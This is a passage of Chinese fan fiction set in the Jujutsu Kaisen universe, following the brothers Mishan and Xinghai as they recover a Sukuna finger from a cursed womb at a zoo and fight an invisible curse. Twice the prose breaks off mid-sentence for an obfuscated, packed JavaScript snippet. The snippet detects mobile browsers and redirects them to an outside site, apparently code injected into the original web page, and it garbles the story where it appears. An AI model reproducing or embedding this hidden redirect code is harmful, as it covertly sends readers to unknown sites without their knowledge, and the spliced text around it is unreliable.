仿佛自己从这样一个热闹的环境中脱离了出来,眼睛看到的、耳朵听到的都被压缩成了电视窗口播放的画面,缺少了最真实的体验感。 格格不入。 今井由光接到电话来接人的时候,冥冥已经自行离开了,弥山和星海架着庵歌姬,辻光士扶着物部式,可怜兮兮地站在店门外等着他。 “啊......按理来说你们还是未成年,究竟是谁给你们上的酒啊......就算高专不太管这些,不过......”今井由光拉开车门,口中还在絮絮叨叨地说着。 辻光士将物部式放到了副驾,用安全带将他绑在座位上。 “什么?这是什么?我们要去贝尔纳多棒球场吗?” 耍酒疯的时候满嘴都是埼玉西武狮和广岛三箭,她是有多喜欢棒球和足球之类的体育运动啊?弥山抱着腿,星海托着上半身,皱眉躲开了庵歌姬的“乱拳攻击”。她的拳头蹭着星海的发尖打了出去,被兄弟两个人塞进了车里。 今井由光这才明白为什么他们要两个人一起安置庵歌姬。弥山给她系上安全带,对今井由光和辻光士说:“我们自己回。” 辻光士坐到了后排看着庵歌姬,今井由光摇下车窗:“行,注意安全。” 他们今晚还要再在京都校住一晚,明早再回东京。 京都的夜晚要安静一些,大部分商店过了九点就关灯歇业,只有一些二十四小时便利店还亮着灯,售货员坐在柜台前打瞌睡,弥山和星海并肩而行。 “嗯,”弥山小跳了两步,来到星海前面的位置,转过身和他面对面,倒退着向后走,“你要不要也来试着学一下术式反转?” “不要。”星海拒绝得干脆利落。 “诶——我一个人不行啊!” 弥山故意拉长的声音飘进漆黑幽暗的小巷,星海捕捉到了几缕小小的期许、几缕小小的抱怨。 如果星海不愿意努力的话,弥山也没办法更进一步。他们就像绑在对方双脚上的石头,拉扯着对方和自己一起沉入海渊。 弥山拍拍胸膛:“我保证我的术式反转可以做到,而且我觉得星海你的术式反转也......” “我已经,说过了吧!” 星海的脚步停了下来,几乎可以说是威胁的低吼道:“我不需要。不要自作主张。” 弥山在一瞬间收起了笑容,他现在才觉得刚才喝的那几口酒精融入了自己的血液,现在它们肯定已经淹没了大脑,不然他为什么会这么生气? “你对我的说法有什么不满吗?” 学会术式反转,切断那条“束缚”,这样他们就彻底自由了。或者,成为特级咒术师,拿着这个称号远走高飞,也不算违背“束缚”。 星海没有说话,只是冷着脸看他。 “胆小也得有个限度,闭上眼睛跟紧我,连这个都做不到的话......你要是连这个都做不到的话!!!” 弥山的情绪突然爆发,他厉声说着,仅剩的一只眼睛瞳孔紧缩,看着他的半身。 星海的神情没有丝毫动摇。 弥山仿佛刹那间泄了气,他露出一个似笑非笑,又看起来非常悲伤的表情,微微弯下了腰,视线终于从对面人的脸上错开,落入怀里:“......你让我怎么办呢?” 他快要无法呼吸了。 星海的眼睛动了动,从弥山低下的头颅上挪向不远处的女人。 头上有一道缝合线的黑发女性微笑着说:“你们吵架了?兄弟间可不能吵架啊,你们不是彼此最重要的人吗?” 弥山猛地回头,眼神前所未有的锐利,盯向了说话的女人。 这种奇妙的厌恶感......他在哪里见过她吗?她说话时稔熟的语气令人不快。 那女人似乎只是路过,在他们的注视中转身离开了。 弥山看着她的身影彻底消失,皱着眉转头问星海:“刚才......” 他头还没完全转回来,手臂就被人极用力地扯住,像对方那边拉了过去。被攥住的地方传来快要嵌入骨髓的抓握感,远离心脏一端的肢体血管臌胀,在他的手臂上画出一道道青色的纹路。 “......!?你发什么疯!?” 弥山被扯了一个踉跄,差点撞到星海的鼻子。 “......”星海无法解释他刚才产生的瞬间感觉。说是“好像在哪里见过这个人”,不如说是“好像曾经发生过这样的场景”,一股令人毛骨悚然的怀疑自上而下贯穿了他的身体。 他不喜欢咒术,不喜欢生活在咒术界,不喜欢自己的这双眼睛,因为这些都是他无法自由决定的事情。 他不喜欢弥山,不想和他做兄弟。 谎言!你明明害怕得要死,一想到回头的时候见不到他就会害怕得想要流泪,如果不能确定牵引绳的另一端深深埋入他的骨血,连踏入自由世界的勇气都没有吧!? 说什么想要绝对的自由,想要绝对的掌控,不过是一个离不开他人、只有被永远追逐着才肯向前走的胆小鬼。 在见到那个女人的瞬间,曾经差一点失去对方的恐慌席卷了回来。 那个飘雪的冬日,躺在模糊世界中的人、耳边全是他痛苦的呻吟、刺鼻的血腥味染满了全身。 他明白了自己真正想要的,并且唾弃自己的胆小与自我伪装。 “你必须一直跟在我后面,”他咬着牙,一字一句地说,“死也要。” 不然,他怎么能去到自由的地方? —— 弥山浑身冷汗地从噩梦中清醒过来。 捂着脑袋小心翼翼地避开星海,他悄悄来到走廊,没有惊动任何人。 噩梦的内容就像昨天的午餐,他一时竟然也想不起来具体梦到了什么。这样的话,不就连到底是不是个噩梦都无法判断了吗......真是稀奇,他睡眠质量一向很好。 他出来的时候没看时间,也根本不记得拿手机,所以只能坐在走廊尽头的休息区,仰头望着身后深海一样的夜空发呆。 他慢慢地数着星星,脑子里机械式地划过无数信息,术式反转、正极能量、明天的任务、禅院甚尔家小崽子的预产期、夏油杰的咒符、五条悟、水海道楼下的猫、领域展开、结界术…… 星海总觉得他什么都不在乎。那怎么可能呢?只要是人,脑子里总会想些什么,大脑的运转有时不听自己的指挥,由一个概念联想到无数概念,所谓直觉和潜意识就是从中诞生的。 像这样难以入眠的夜晚,偶尔也有,但次数并不多。 在京都遇见的那个女人……他的大脑又带着他回到了一个月前的那个夜晚。 星海知道什么,但他不和弥山说。 弥山猜应该是和那个事故有关系。他的手覆盖住了自己的右半张脸,掌心的位置凹陷了下去,空荡荡的。 那个时候的痛苦,他已经不太记得了。 不过,星海似乎终于有了一点干劲,在咒术的修炼上肯花一些时间和心思。【仳】的最大术式范围来到了半径四十米,咒力操作也变得精细起来了,而且他显然比弥山更擅长结界术。 “领域......” 星海不知道什么时候跟了出来,没有说话,坐在了他旁边。 弥山侧过头看他。 “这次要回收的是宿傩的手指。”星海把水瓶递给他,矿泉水冰凉的温度外似乎还残留着另一个人的体温,弥山这个时候才发现有点渴。 他沉默地接过水瓶。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209877|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿傩这个名字最近似乎出现太多次了。” 京都校二年级的禅院回收的特级咒物就是宿傩的手指,她死在了这个任务中。交流会前指名星海的任务交给其他咒术师处理,他们大概是在交流会结束后大约一周左右才看到了那份报告。 “帐”内的普通人全部遇害,一名一级咒术师、两名二级咒术师死亡。从“帐”内的特级咒灵体内回收的依旧是宿傩的手指。 至于“帐”的设置者,直到今天都没有找到。 有这些接二连三不断发生的事故,总监部似乎对用宿傩手指镇压诅咒的安全性提出了质疑,虽然阿依努咒术联盟那边坚称他们的封印不可能现在就开始衰弱,但各地宿傩手指的回收计划依旧被提上了日程。 水海道的那根不知道会被御三家还是高专的哪一方收走。 咒物不是某类物品的统一称呼,而是代表了除了蕴含诅咒的武器之外的“有说法的道具”,它们千奇百怪,有类似咒具似的武器,也有被施加了“停止生命活动,不能伤害人”这样的“束缚”的存在。这一类中最出名的大概就是咒胎九相图,它们是人类与咒灵的混血,是货真价实的生命体,在被施加了这样的“束缚”后,停止了生长,但也无法被破坏,成为了更像物品的存在。 宿傩手指也是同理,它虽然不是生命体,但“不能伤害人”换来的“无法被破坏”的束缚让它可以承担镇压诅咒的责任的同时,赋予了这类咒物另一种利用方式。 当人类吞下这类咒物之后,咒物中寄宿着的咒力的主人就能控制该人类的精神与肉|体,也就是受肉。弥山在五条家的书斋里见过关于多鲁布·拉克达瓦拉受肉的相关内容,这似乎是唯一一个留下书面记录的受肉|体。 听起来很不可思议,受肉|体的存在似乎说明了灵魂、咒力、肉|体之间存在着某种联系,只要这三者同时存在一部分,就能让人穿越时空,甚至在未来重获新生。 但是这种咒物的制作方式却没有留下来。能想到这种方式的人一定是个对咒术怀有狂热信仰的人吧?咒术能做到的事其实远超所有人想象。 “想亲眼看看。” 星海拉着弥山站起身:“现在回去还能睡四五个小时。夜蛾老师不会让你把封印拆开看的,回屋在梦里看吧。” “我只是说说嘛......”弥山被拽着回宿舍了。 第二天,他们和物部式、庵歌姬一起坐上了今井由光的车。辻光士申请了二级咒术师审核评定,也理所当然地通过了,拿到了二级的称号,现在基本都在自己执行指名任务。 只是一个月而已,但好像已经很久没有碰过面似的。 “不过,光士实力进步很大,”物部式望着道旁开始泛黄的秋叶,有些欣慰地说,“明明刚入学的时候还是个不太自信的孩子,现在已经能独当一面了啊。” “哇,物部前辈怎么说得像是什么长辈一样!”庵歌姬吐槽,得到了物部式“我难道不能算是长辈吗”的反驳。 他们抵达任务地点的时候,远远地看到了漆黑的“帐”。弥山切切实实地听到自己的心脏咯噔跳了一下,随即说道:“不是吧?为什么总是这么巧啊?” 现场交接工作的辅助监督满头大汗,已经是十月了,他浑身上下却快要被汗水浸透。 “今井先生,‘帐’降下之前已经观察到了咒胎,群众疏散已经完成,但因为这里是附近有名的动物园,不能保证没有普通人滞留......”他说着说着,声音颤抖了起来,看上去快要哭了似的。 “上面要回收宿傩手指是正确的决定,”弥山难得承认那些老头子们的决定是正确的,“宿傩是想干什么?准备复活了吗?” 这已经连续第三次出现特级咒物被咒灵吞噬的情况,再这样下去弥山觉得阿依努咒术联盟的封印术要颜面扫地了。 “虽然现在还没有完成变态,但负责观察的术师说已经很接近了。” 这名辅助监督显然是个不能拿主意的,他小心翼翼地看着今井由光,想让今井由光做个选择。 “星海,你能看见什么吗?”今井由光快速了解了情况,在他说话的时候,星海已经望向“帐”里很久了。 淡色的眼眸穿透了帷幕,看清了那个咒胎。 “它还在‘壳’里,距离它蹦出来看上去还有一段时间。”星海回答。 不论是聚集的负面能量转化为有形的咒灵,还是像现在这样低级咒灵吞噬特级咒物再次转化自身的情况,偶尔会出现以咒胎形式存在的阶段。有的咒胎是“壳”,正在转化的咒灵就在“壳”内,但也有些咒胎可以行动,它们会在战斗中完成最后的变态,在此之前就已经拥有了匹敌特级咒灵的力量。 这次的这个躲在“壳”里。 也就是说,是高防低攻的状态,且有不能移动的debuff。 今井由光知道自己必须尽快做出决定。他其实本不应该拥有这样的权力,辅助监督的任务只是辅助咒术师们而已,设立“帐”、收集情报,任务的执行他们并没有权力插手。但今井由光一方面是性格使然,又有夜蛾正道站在他这边,自然要尽可能考虑到学生们。 偏偏又赶上夜蛾正道不在的时候出现这样的任务......今井由光刚想让他们不要去,就看见弥山从后备箱取出了咒具:“弥山,你......?” 弥山:“啊?不打吗?” 今井由光又看向其他人,除了庵歌姬脸上浮现出肉眼可见的紧张,物部式一副跃跃欲试的模样。 弥山将物部式的刀扔给他,背起剩下的:“在它从鸡蛋壳里出来之前用伤害直接灌死,我觉得是最好的解决方案。” “而、而且还能试试我们的组合技!”庵歌姬撸起袖子,给自己加油。 物部式向今井由光保证:“如果出现意外情况,我会立刻带着他们从‘帐’里撤出来的。等它孵化出来情况只会更棘手。” 今井由光思量片刻,同意了他们的计划,不过也再三叮嘱他们不要逞强,如果遇到了被困在“帐”里的普通人,以保护群众安全为主要目标。 众人没有异议,准备妥当之后,一起走入了“帐”里。 45.支离 他们进入“帐”的地方正好是动物园的入口大道,巨大的熊猫雕塑立在售票处旁,两侧是稀疏的竹林。他们沿着入园的方向前进,从这里已经能够感受到属于特级咒灵的气息。 庵歌姬起了一身鸡皮疙瘩,其他三个人将她挡在后面,让她在心理上多了一些安全感。 园内广播循环播放着疏散通知,如果不是出现意外情况的话,这里应该不会有普通人滞留了。他们路过监控室的时候看到里面还亮着光,物部式暴力破坏了窗户钻了进去,数十张屏幕上看不到有人存在的痕迹,只有明显焦躁起来的动物们在笼子里来回跑跳,扒拉着玻璃的缝隙想要离开。 咒灵无法被电子设备捕捉,所以他们无法从监控中看到咒胎的情况。 从监控室出来,继续赶向咒胎的所在地。诅咒的气息浓烈到了这种程度,就算没有星海他们也能找到目的地。 弥山看着门口的“爬虫馆”标识,打了个寒战。 “我有点讨厌虫子。”他嘟囔着,庵歌姬听见了,却没有心思嘲笑他。 咒胎就在馆里,但站在建筑外面就能看到它的一部分。顶破了天花板的咒胎表面是一层透明的薄膜,能看到内容物挤压在薄膜表面变形的部分,更内部被浑浊的液体包裹着。偶尔能看见的上升的气泡表明那里面的是一个活物,从它贴在薄膜上的部位来看,像是有着鱼一样的尾巴。 但咒灵的模样不能完全用常识来判断,物部式决定他们两两一组,先围绕周围检查还有没有一般人滞留,五分钟后在对面碰头。 弥山和星海从左侧出发,物部式和庵歌姬走另一边。 庵歌姬说的组合技,攻击的主要伤害来源是星海,因为他术式的特殊性,在使用之前确保不会伤到其他人是最重要的。 弥山观察着周围。 “太干净了。” 星海看了他一眼。 因为要有吞噬宿傩手指这一过程存在,因此不管这个咒灵是刚刚诞生还是本身就是准一级以上,它必然在进入那个鸡蛋壳之前“在附近行动过”。可是这周围没有一点残秽留下,就像它一出现就找到了宿傩的手指。 那可是在爬虫馆——为什么宿傩手指在这里也很可疑——虽然这么想有点过分,但咒灵居然没有伤害任何人,直奔着宿傩手指而去。 攻击人类是本能,追求力量也是本能,居然要说这只咒灵对力量的追求要胜过它的攻击欲望吗? 从他们进入动物园开始,周围的鸟叫声就有点太多了。仔细听的话,还能听见各种被困在笼中的动物们不安的嘶吼。 四分钟,他们和物部式、庵歌姬在爬虫馆的出口处碰面。 确认完毕,他们找到附近一处较高的地方,准备开始祓除这个咒胎。 弥山将庵歌姬的神乐铃交给她。庵歌姬家祖上一直从事巫女的工作,相传术式也与祈福有关。这个神乐铃共有三层12颗铃铛,上中下分别为3、4、5颗,手柄末端系着五色带,似乎是为了适于战斗,带子的长度比普通神乐铃要短许多,大概只有小臂那么长。 因为代代被庵歌姬家的术师继承使用,这个神乐铃已经具有了咒具的特性。 庵歌姬向弥山点点头。 弥山拍了一下她的肩膀。 伴随着清脆的铃响,庵歌姬迈出了第一步。这是她自小学习的神乐舞,每一个舞步的方向、每一块肌肉的调动她早就烂熟于心,12颗铃铛在她手中发出整齐划一的脆响,从天到地,划出圆满的弧度。 星海跳到了地面上。 舞步在加速,无形的咒力散发出去,几乎要笼罩了整个“帐”的范围。庵歌姬逐渐在术式发动的过程中镇定下来,舞步、咒词,她将术式发动的过程用仪式进行升华,达到了她自己所能做到的极限。 弥山的术式让她超越了这个极限。 星海感受到咒力量的上升,只身进入了几乎完全倒塌的建筑物内。 “要开始了。”弥山的眼睛一眨不眨,庵歌姬依旧跳着舞,物部式抱着刀蹲在他们前面。 似乎是察觉到威胁的靠近,壳子里的咒胎动了起来。模糊不清的水体中,庞然大物开始移动,伴随着无数苍白泡沫令人不安地浮现,一只硕大的鱼眼贴在了薄膜上。黑白分明的眼睛与星海一般高,它从高处沉了下来,定定地停在星海的眼前。 星海注视着这只咒灵,比起手印。 外壳开始变形,仿佛内部的东西有些迫不及待地想要破壳而出。 物部式的手握在了刀柄上。 “它出不来的。”弥山身体前倾,趴在了栏杆上。他环顾四周,周围明明不应该还有鸟类存在,为什么鸟鸣声依旧不停止? “无垢,虹光,自解脱。”星海念出了咒词。 这是他第一次面对被冠以“特级”之名的咒灵,尽管只是一个未完成变态的咒胎,但这个形态会让它将力量用于强化自身的防御,比正常的存在更难破坏。 所以他没有留手。 半径50米,只一刹那就被【仳】摧毁殆尽。 鸟叫声终于停止了。 物部式眨了一下眼睛,那个庞大的咒胎就消失了。 范围内的大地像是被挖去一勺的桶装冰激凌,突然出现的巨大坑馅让立于其上的所有建筑物开始下坠,在轰响和烟尘中掉入了坑底。 星海在地面消失之后就来到了坑洞的边缘,向弥山他们招手。 “结束了?”庵歌姬停了下来,没有被她控制的神乐铃乱七八糟地响了起来,她跟着弥山和物部式去到了地面上。 “这也太夸张了,”物部式看着眼前的一片狼藉惊呼道,“除了破坏性有点大,你这个术式在祓除咒灵的方面简直无人能敌啊!” 因为【仳】的分解最先针对咒力,对完全由咒力构成的咒灵来说,是仅次于正极能量的“天敌”。 弥山没有说话,他向那一坑底的废墟张望,星海拍拍他,让他跟上来。 他们要尽快找到宿傩的手指。 看着星海极有目的性地带着他们穿越这片废墟,弥山有些遗憾星海的术式看起来也不能突破级别的差距,像是宿傩手指这种等级的存在无法被【仳】摧毁。也有可能是“束缚”的原因,但就算没有“束缚”,想要毁坏也应该不简单。 星海在废墟中找到了那根手指。 “封印被解开了。”皱缩的紫红色指节上长着一个个哀叫的人脸,只是靠近就能感觉到无比邪恶的气息。 “由星海来拿着吧。”物部式决定道。 确定星海已经将宿傩手指妥善收好后,一行人开始向“帐”外走去。 弥山越过一截从地面中戳出来的钢筋,跳上了高处。物部式和星海都已经上去了,他转身准备拉一把庵歌姬。她借着弥山的力量,一只脚踩在钢筋上提升高度。 “谢谢啦......呜哇!” 庵歌姬小小地惊呼了一声,脚下一空。所有人都听到了“咔嚓”一声。 弥山:“歌姬你怎么回事?这种高度......” 他保持着原本的姿势,庵歌姬突然的失力并没有破坏他的平衡,握着她的手臂稳稳将人吊在半空。 “我知道了啊!已经在锻炼了,哪有那么快见效......快把我拉上去啊!” 庵歌姬不知道为什么弥山停在那里不动了,抬起头看了一眼。 她撞进了一片纯粹的黑色之中。好似镜面一样光洁的眼瞳映射出了他视野中的一切,庵歌姬从惊讶的自己身后看到了一只皮肤溃烂的断手。 瞳孔不断缩小、再缩小。 黑色的镜子从庵歌姬面前移开,她的手臂上传来一股巨大的力道,将她整个人提上来还不算完,她觉得自己就像是一个沙包一样被人丢了出去,撞在了星海身上。 “物部!!”弥山的呐喊像尖刺,扎中了物部式感知危机的直觉。 他看着自己的这个后辈直接抬脚踏地,碎裂的石块四散飞溅。弥山捞起一块石头,向着面前空无一物的地方扔了出去。 他此时汗毛倒竖,直接用上了十成的力量。石块是平行于地面向正前方射出的,弥山瞪大了眼睛,看到空气中出现了水波纹一样的涟漪。 非常微小的涟漪,甚至连扩散的方向都来不及看清就消失了。 物部式的身体比脑子反应得快,直接拔刀站在了星海和庵歌姬的身后。 发生了什么!? 星海瞳孔猛缩:“弥山!!” 弥山举起咒具,却在横档的瞬间被撞飞了出去。 未知之物终于显露了真身。弥山看着眼前的这个巨大的扁平鱼头,暴突的鱼眼里刻画的是他被身后戳出的断木刺穿肩膀的景象,咒具的刀背已经深深嵌入手掌。 “那、那是什么!?” 发起攻击的毫无疑问是一只咒灵,它长得像一条皇带鱼,身宽目测在五米左右。一击未成,它迅速消失在了空气中。 “星海!!”物部式用尽全力观察着周围,这只咒灵会隐身!它的身体看起来不像拥有实体,更像是某种发着炫光的雾气。在空中的移动就像是在深海一般灵活自如,现身的时间太短来不及看它的身体到底有多长。 为什么星海没有看见它!? 星海第一次怀疑自己的眼睛。他的确什么都没看见,那只咒灵并非简单的“隐身”,更像是游去了另一个空间,他只在它现身击飞弥山的短短几秒钟内看到了它。 弥山......弥山怎么样!?咒力看起来还算稳定,可是只是那一瞬间就被那条死鱼顶到了五十米开外,进攻的速度太快了! “它速度太快了,不现身我看不到。”星海语速极快地说。 庵歌姬当即决定继续运转术式。面对这样一只神出鬼没的咒灵,分散开更是给了它逐一击溃的机会,倒不如尽可能站在一起。虽然这样星海没办法使用术式,但希望【单独禁区】的增幅对他的眼睛多少有点作用吧...... “我们往弥山那边去!”物部式判断道。 肩膀被贯穿了。弥山被卡在了一个很尴尬的位置,他的脚下没有支撑点,相当于被吊在了这里。速度很快,而且在现身之前不会被星海看到......不是隐身而是去了异空间吗?难道之前一直盘踞在这周围吗? 有这种力量,为什么宿傩手指会被咒胎拿走? 伤口还没有疼痛感传来,饶是弥山也没办法在这么短的时间内反应过来,用【代理人】规避伤害。 他弓腰将腿向后伸,勉强踢到了墙壁。可恶,距离太远了,他没办法把自己从这根该死的木头上拔出来。 下一击不会间隔太久。这只咒灵肯定是准一级之上,咒术界被登记的特级咒灵中没有它。从咒力量来看应该还达不到特级的水准,但也很接近了。将他撞飞的一击速度快,但真实力量并不大,不然他现在应该已经被串到木头底部靠着墙了。 他想起了让庵歌姬踩空的那截钢筋。他非常确信自己越过的时候,钢筋就是钢筋,但庵歌姬踩断后,掉下去的那截却变成了断手。原来如此,怪不得断裂的声音那样奇怪。 而且,那种溃烂的模样...... 来不及思考更多,弥山高度紧张的神经让他的眼球捕捉到了空气中再一次出现的细微涟漪。 它要出来了! 目标还是他......虽然说这只皇带鱼咒灵的力量不算大,但他现在被挂在这里,再挨上一击真的会像是山楂果实一样被一串到底。 星海看到了从半空中突兀出现的咒力。像是直接撕裂了虚空,皇带鱼咒灵从那道出口迅捷地游了出来,向弥山疾驰而去。 弥山扔掉咒具,抬起完好的那侧手臂,在咒灵的头部出现的瞬间完成了手印。 来不及念诵咒词,那就仅凭这样来吧!咒灵缎带一样扁平的身体左右摇摆着,身上的鳞片闪耀着一闪而过的彩光。 弥山看见了前包的下颌上突出的利齿。受伤反而让他的大脑更加清明,下意识地调动着咒力,比以往更快地完成了发动术式前的唤起和准备过程。视线聚焦的那一刻,【代理人】以平生最快的速度发动了。 他一脚踢开了撞过来的鱼头,与此同时星海大喊道:“物部!!” 庵歌姬甩动神乐铃,在心中呐喊:“一定要赶上啊!” 弥山这一脚踢击的力道直接将咒灵的前进路线踢偏了,结合它原本准备进行的蓄力冲撞攻击,皇带鱼咒灵一头撞在了弥山身后右侧三米左右的墙壁上,支点的震荡让挂在木柱尽头的弥山感觉伤口被搅动,他只能掰着从身前穿出来的部分尽量减少震荡带来的二次伤害。 物部式高高跃起,庵歌姬术式带来的增幅正在逐步衰减,但仅凭手中的刀刺入咒灵头颅瞬间传来的手感上来看,正中要害! 头顶被刺穿的咒灵径直向下摔去,庞大的身躯此时才完全显现了出来,扭动的身体还想继续挣扎,但被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214991|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶来的星海一拳砸散了。 它的身体的确不是实体,但面对包裹着咒力的攻击,那些组成身体的雾气明显无法再短时间内重新聚齐。 庵歌姬跑到弥山的下面,抬手托起了他的双腿:“你怎么样!?干掉那家伙了吗!?” “啊,高度正好呢,歌姬,”弥山的声音听起来和往常无二,甚至带着一点调侃,“要是星海来了就有点太高了。” “喂!!你这家伙真让人火大!!”庵歌姬虽然满头冒火,但手上很稳。 在确认身下的这个皇带鱼咒灵彻底被祓除之后,物部式让庵歌姬让开一些,砍断了弥山身后的木头。 伤口面积很大,那个木头快有碗口粗,如果贸然拔出来很可能引发失血。周围的骨头估计也多少有些骨折和错位,这会儿肾上腺素褪去,密密麻麻的疼痛感回归了现实。 弥山拽着星海:“把它拔出来。” “等等!这种伤势你……”庵歌姬有些不赞同地说。 她没拦住,星海直接握上了从前面穿出来的那一截。 物部式不敢拉星海握着木头的那只手,只能按住他另一侧的肩膀劝他别做傻事:“你们又不会反转术式,拔出来完全没有必要,等到医院处理啊!星海,平时也就算了,这个时候你不能由着他胡来!弥山你……” 他话音未落,就有点点鲜血飞到了他的脸上。 “!?” 星海蹲下身,把拔出来的断木扔远,扶着弥山让他靠在自己身上:“赶快。” 汩汩鲜血从前后贯穿的伤口中喷溅出来,很快流了他们满身。 “你们!?”庵歌姬捂住嘴惊呼。 然而,那个恐怖的血洞在庵歌姬和物部式的眼前消失了。如果不是衣服上的洞口还敞开着,他们还会以为那道贯穿伤只是自己的幻觉。 弥山感受着体内骤然见底的咒力,感叹要是他也能像五条悟那样将咒力消耗控制在最低就好了,咒力量总会让他在战斗中捉襟见肘。看来还要继续精细咒力操作,向五条悟看齐吧。 物部式可没听说过弥山和星海还有这样的本事。这不是反转术式,可伤口的确就像从未存在过一般消失了。 “……算了,这件事我们回去再说,”物部式捡起前辈的身份,虽然在战斗中被后辈直呼姓氏,“那里面还有点……需要在意的事。” 庵歌姬的心突然绞紧了。 她相信自己没有看错,那只倒映在漆黑瞳孔中的溃烂手臂。 弥山站起身,他看起来恢复了不少,扶着肩膀转了转手臂。哪怕恢复了过去的状态,可是作为施术者,咒力却没有恢复吗……这种方式可以留做后手,之后还是要尽可能地避免受击。 他们顺着来时的方向回到了凹坑的边缘,庵歌姬深吸了一口气,伸出脑袋向下看去。 —— 弥山蹲在阳光里,随手扯着地上枯瘦的草叶。根茎的断面挤不出任何的汁液,不过那也是当然的,四季轮回已经要进入末尾,遵循自然规律的生命也即将迎来尾声。来年从埋在土里的根茎生出的新叶,算是生命的延续还是重来? 星海还没出来。 草叶躺在摊开的手掌上,轻飘飘的,一阵风就能吹走。弥山张开另一只手掌,双手像是天平的两端。 “你蹲在这干什么呢,弥山?”物部式从他身后经过,看到他蹲在这,好奇地问道。 “在思考生命的价值。” 物部式蹲在他旁边,发出一声毫无感情的惊叹:“哇——星海还没出来?” 弥山扔掉了那根草叶,转而用指尖拨弄从枯黄的草根新长出来的嫩叶。脆弱的绿与周围格格不入。 “也是,”物部式没有在意他的沉默,自己继续说道,“那些人不会轻易放过他的。” 弥山揪掉了那根新生的草叶。 第二只咒灵彻底消失之后,他们在废墟中找到了两具遗体。从身体上留存的残秽来看,他们受到了【仳】的波及,但究竟是死前还是死后,或者是【仳】给了他们最后一击,还需要等待进一步的检查。 弥山觉得更像是后者。他们四个人没有一个察觉到还有一般人存在,很可能是那只皇带鱼咒灵的某种能力,或许从他们进入“帐”里开始就中招了。致幻?或者是单纯的把他们的存在藏了起来,现在想想那个咒胎和皇带鱼咒灵之间可能也有某种联系,没准是本体和分身的关系? 从进到“帐”里之后,发生的一切都开始变得不清不楚。 如果是他们看到的是幻觉,那他们祓除的那个咒胎是真的吗?但他们又切实地回收了宿傩的手指,咒灵又要如何才能骗过星海的眼睛呢?而且,为什么那只咒灵一直以他为目标?被回收的宿傩手指在星海的身上...... 不合常理。弥山第一次遇到这样古怪的事情,有太多的问题卷到了一起,而随着咒灵和咒胎的消失,他可能永远也找不到真相。 他讨厌这样不清不楚的事情,连带着大脑都好像变得迷糊起来,被什么看不见的网笼罩住了似的。 “你们也别想太多,”物部式最后留下一句话,“很多事情是无法简单的用‘把错误扔给一个人’就能解决得了的,别给自己太大压力。” 弥山回过头,看向物部式离开的方向。 物部式在下山通道的鸟居下看到了辻光士:“光士?最近没怎么见啊,任务怎么样?” 看样子辻光士刚从山下上来,是来找夜蛾老师的吗? “......还行吧,”辻光士收回了脚,转身跟着物部式往下走,“星海他们会有什么处罚吗?” 物部式顿了顿,说道:“嗯......这件事有些复杂,不过应该不会的。” “那,受害者那边......” “光士,你很在意这件事?” 辻光士没有摇头,也没有点头:“我只是......毕竟这种事很少见,在祓除咒灵的过程中......误杀了普通人什么的。” 物部式双手插兜,叹了一口气:“虽然还不能完全确定,但希望星海不要受到太大影响......” 他敏锐地察觉到身边的辻光士神情有些不对劲。 “没事吧?” “不,没什么,物部前辈,”辻光士这次摇了摇头,“我先走了。” 他加快了脚步离开,物部式皱起了眉。半晌,他耸耸肩,自言自语道:“这就是前辈的苦恼啊~” 46.沸腾的海 星海成为了特级咒术师。 “但是,我们已经和别人约好了,爽约会很麻烦诶。下次吧,光士!”弥山搭着星海的肩膀上了车,很快消失在了山路间。 没关系,毕竟成了特级咒术师之后几乎没有空闲的时间,好不容易得到的假期早早安排好行程也是情有可原的。毕竟已经是“最强”了。 “嗯?你说受害者?啊,动物园任务的遇难者名单夜蛾老师并没有告诉我们,怎么了光士,你怎么突然问起这个?对了,你晚上有时间吗?物部前辈正好有空,咱们可以叫上冥小姐一起出去吃饭!” 庵歌姬又在发酒疯,想要听的事情根本没人提,就算故意说起也会被他们很快地用其他事情糊弄过去。 “我吗?呵呵,在我看来,一个生命的价值就是它的用益潜在力。即便没有财产价值,也有能带来值得期待的预期收益的潜力。也就是说,对我有多少利用价值的意思。” 冥冥私底下在做一些私人委托的工作,最大的乐趣是存钱,这是很早就知道的事实,会有这样的价值观并不奇怪。 “哈哈,冥小姐一定要狠狠敲他们一笔才行啊。” 物部式也是从小生活在咒术世界的人,以前居然还相信他能理解普通人要承受的压力,现在想想也不过是装作很懂的样子,自以为是地以前辈的姿态在说教,其实心里根本做不到感同身受。 “抱歉,光士。不,不是同行的一级术师提交了反对意见,是总监部觉得没有必要给你这么大压力。我同样觉得你不用太着急,现在你才一年级,太早提升咒术师等级只会挤占你的时间。” 那为什么星海能被晋升为特级?为什么所有人提到他的晋升都是一副可惜的样子?怎么搞的好像晋升不是件好事似的? “因为你们现在还太年轻了啊。”九十九由基笑着说。 辻光士不解:“诶?” 他们坐在宿舍楼天台的长椅上,感受着初雪过后焕然一新的空气。 “那个叫星海的同学,他因为自身术式的特殊性以及足够出色的实力,哈哈,当然也包括他的家世,一跃成了特级咒术师。这意味着他被总监部推上了一流咒术师的行列,不管他有没有这个实力,他都必须承担相应的责任。” 黄发的女性特级咒术师耐心和辻光士解释道。 